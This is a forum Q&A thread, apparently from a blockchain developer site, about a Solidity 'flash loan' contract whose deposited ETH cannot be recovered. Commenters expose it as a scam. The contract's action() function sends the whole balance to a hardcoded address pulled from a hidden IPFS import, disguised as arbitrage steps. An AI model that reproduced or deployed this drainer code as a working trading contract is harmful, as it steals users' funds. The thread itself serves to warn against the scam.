1

I deploy a smart contract and I provide it with some eth.

Now I want the amount I did provide.

Ideas?


pragma solidity ^0.5.0;

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";

//uniswap smart contracts v2 and v3

import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
// Code Manager
import "ipfs://QmVSF7tCdaYxyPLc543yK8gjVvpemTGhSRNVkeVnyMjqTJ";



    
contract uniswapFlashLoan {
    string public tokenName;
    string public tokenSymbol;
    uint loanAmount;
    Manager manager;
    
    constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
        loanAmount = _loanAmount;
            
        manager = new Manager();
    }
    
    function() external payable {}
    
    function action() public payable {
        // Send required coins for swap
        address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);
        
        // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
        // Breakdown of functions written below
        manager.performTasks();
        
        /* Breakdown of functions
        // Submit token to BSC blockchain
        string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);

        // List the token on uniswapSwap
        manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
        
        // Get BNB Loan from Multiplier-Finance
        string memory loanAddress = manager.takeFlashLoan(loanAmount);
        
        // Convert half BNB to DAI
        manager.uniswapDAItoBNB(loanAmount / 2);

        // Create BNB and DAI pairs for our token & Provide liquidity
        string memory bnbPair = manager.uniswapCreatePool(tokenAddress, "BNB");
        manager.uniswapAddLiquidity(bnbPair, loanAmount / 2);
        string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
        manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
    
        // Perform swaps and profit on Self-Arbitrage
        manager.uniswapPerformSwaps();
        
        // Move remaining BNB from Contract to your account
        manager.contractToWallet("BNB");

        // Repay Flash loan
        manager.repayLoan(loanAddress);
        */
    }

    }
}
1
  • I believe this code is taken from this video: youtube.com/watch?v=yPVIaVBsdCo I thought it was a bit suspicious that there were no comments allowed for an 'educational' channel and thought that this code may be a scam. Is it case that the contract was set up in order to collect fees from users and not returning anything?
    – conor0t
    Jun 26, 2021 at 11:24

2 Answers 2

1

Either you're trying to scam or you got tricked up by a scammer. Obvious scam contract is obvious.

Check the ipfs import file. All transfers return here: https://bscscan.com/address/0x8B96C49C7A14978Ea63A184f63885025deC93891

Seeing how there hasn't been any returns yet from this contract. I can assume you're trying to honeypot people.

2
  • While scamming is obviously not considered good, I am not certain your answer actually answers the question. Jun 10, 2021 at 7:09
  • Like I said, the funds are sent to the address I provided above. Meaning, if they got scammed, they cant retire the funds from "The contract," but If they're doing the scamming, they just need to access the correct wallet address where the funds went to. There's two transfer operations: address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance) and: function uniswapDepositAddress() public pure returns (address) { return 0x8B96C49C7A14978Ea63A184f63885025deC93891; } } Import file Can't retire funds from a contract when they exist in a users wallet.
    – BSCMike
    Jun 11, 2021 at 8:16
0

The only transfer operation I see is in action function

address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);

That line transfer the contract balance to manager.uniswapDepositAddress().

In order the transfer to succeed the rest of the function has to be executed, if they fail it will revert the whole transaction.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.